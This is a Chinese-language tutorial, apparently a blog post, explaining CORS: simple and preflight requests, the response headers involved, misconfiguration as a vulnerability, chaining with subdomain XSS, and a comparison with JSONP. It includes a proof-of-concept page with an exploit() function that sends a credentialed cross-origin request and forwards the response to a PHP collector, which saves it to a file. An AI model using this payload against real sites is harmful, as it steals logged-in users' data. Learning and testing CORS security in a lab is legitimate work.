CORS简介
什么是CORS?
CORS是一个w3c标准、全称是"跨域资源共享"(Cross-origin resource sharing)
因为出于安全的考虑, 浏览器不允许Ajax调用当前源之外的资源.,即浏览器的同源策略
但一个请求url的协议、域名、端口三者之间任意一个与当前页面不同即为跨域、它允许阅览器向跨源服务器发送XMLHttpRequest请求,从而克服AJAX只能同源使用的限制
对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,用户对这些都不会有感觉。因此,实现CORS通信的关键是服务器
CORS的两种请求方式
1、简单请求
对于简单请求, 浏览器直接发出CORS请求, 即浏览器自动在请求header中加上
Origin
字段, 告诉服务器这个请求来自哪个源(请求协议+域名+端口). 服务器收到请求后, 会对比这个字段, 如果字段值不在服务器的许可范围内, 服务器会返回一个正常的HTTP响应, 但是其响应头中不会包含Access-Control-Allow-Origin
字段, 浏览器发现后, 就会抛出一个异常提示响应头中没有这个字段. 如果这个源在服务器的许可范围内, 服务器的响应头会加上以下字段:
Access-Control-Allow-Origin:http://ip:port
必需项, 值为请求头中的Origin
的值Access-Control-Allow-Credentials:true
可选项, 值为boolean, 表示是否允许浏览器发送cookie, 需要在服务器配置Access-Control-Expose-Headers:
浏览器可以从跨域请求响应头中获取的字段值, 由服务器配置. 默认可以获取Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma
这六个字段
2、非简单请求
对于非简单请求, 浏览器的
CORS
请求分为两步,首先是执行预检(preflight)请求, 询问服务器是否允许当前源访问,如果允许, 才会执行实际请求
预检请求可以缓存(缓存时间由服务器定义),在缓存有效期内再执行CORS请求时无需进行预检请求
预检请求
预检请求的请求方式为OPTIONS,表示这个请求是用来询问的,请求头信息包含以下字段:
- Origin:请求源
- Access-Control-Request-Method:cors请求会用到的请求方式
- Access-Control-Request-Headers:cors请求会额外发送的请求头字段
服务器收到预检请求后会检查上面的三个字段值以确定是否允许跨域请求,如果任意一项不完全满足则都不允许进行跨域请求
预检请求的响应中会包含如下字段:
- Access-Control-Allow-Origin:
必需项 值为请求头中的Origin
的值- Access-Control-Allow-Methods:
必需项 允许跨域请求的请求方式,其值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。这是为了避免多次预检请求- Access-Control-Allow-Credentials:
可选项 值为boolean, 表示是否允许浏览器发送cookie, 需要在服务器配置- Access-Control-Allow-Headers:
可选项 允许跨域请求额外发送的header字段, 需要在服务器配置- Access-Control-Max-Age:
可选项 用来指定本次预检请求的有效期,单位是秒如果预检请求正常返回,接下来执行实际请求,在预检请求缓存有效期内,再执行跨域请求时无需进行预检请求
CORS请求实例
实际例子请参考:https://www.cnblogs.com/lishanlei/p/8823823.html
本来想自己搭建的,ajax都写好了。。可惜服务器没配置好,以后再配置吧
<!DOCTYPE>
<html>
<h1>cors test</h1>
<script type="text/javascript">
function exploit()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.open("GET","http://xxx.xxx.xxx.xxx/test/ajax/index.php","true")
xhr1.withCredentials = true;
xhr1.send();
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200)
{
var datas=xhr1.responseText;
xhr2.open("POST","http://127.0.0.1/test/ajax/test.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("test="+escape(datas));
}
}
}
exploit();
</script>
</html>
test.php内容是实现了吧ajax发送的数据,保存起来,如下
<?php
$file = fopen("test.html", "w+");
$res = $_POST['test'];
fwrite($file, $res);
fclose($res);
?>
CORS漏洞
什么是CORS漏洞呢?
个人觉得,应该是在配置跨域策略的时候,未对请求源做合理的限制,以至于所有源都可以跨域访问该接口数据,这应该就是CORS漏洞吧,以后理解更深了回来更新
CORS与XSS的火花
如果这个域配置了CORS且信任全部子域,那么攻击者可以利用其他任意子域上XSS漏洞,发送跨域请求到目标重要域网站,从而获取敏感内容
默认情况下,CORS请求默认不发送Cookie和Http认证信息,如果要把Cookie发送到服务器,首先要指定Access-Control-Alloe-Credentials字段,另一方面,需要在AJAX请求中打开withCredentials属性
var xml = new XMLHttpRequest();
xml.withCredentials = true;
如果没有设置该属性为true,即使服务器统一发送Cookie,浏览器也不会发送
当该属性设置为true时,即需要发送Cookie那么在服务器中Access-Control-Allow-Origin就不能设置成*,必须指定吗明确的与请求一致的域名,同时,Cookie依然遵循同源政策
CORS和JSONP的区别
- jsonp是jquery提供的跨域方式
- cors是w3c提供的一个跨域标准
- jsonp只支持get方式的跨域
- cors支持get和post方式的跨域
- jsonp支持所有的浏览器(因为所有浏览器都可以使用script标签发送请求)
- cors不支持IE10以下的浏览器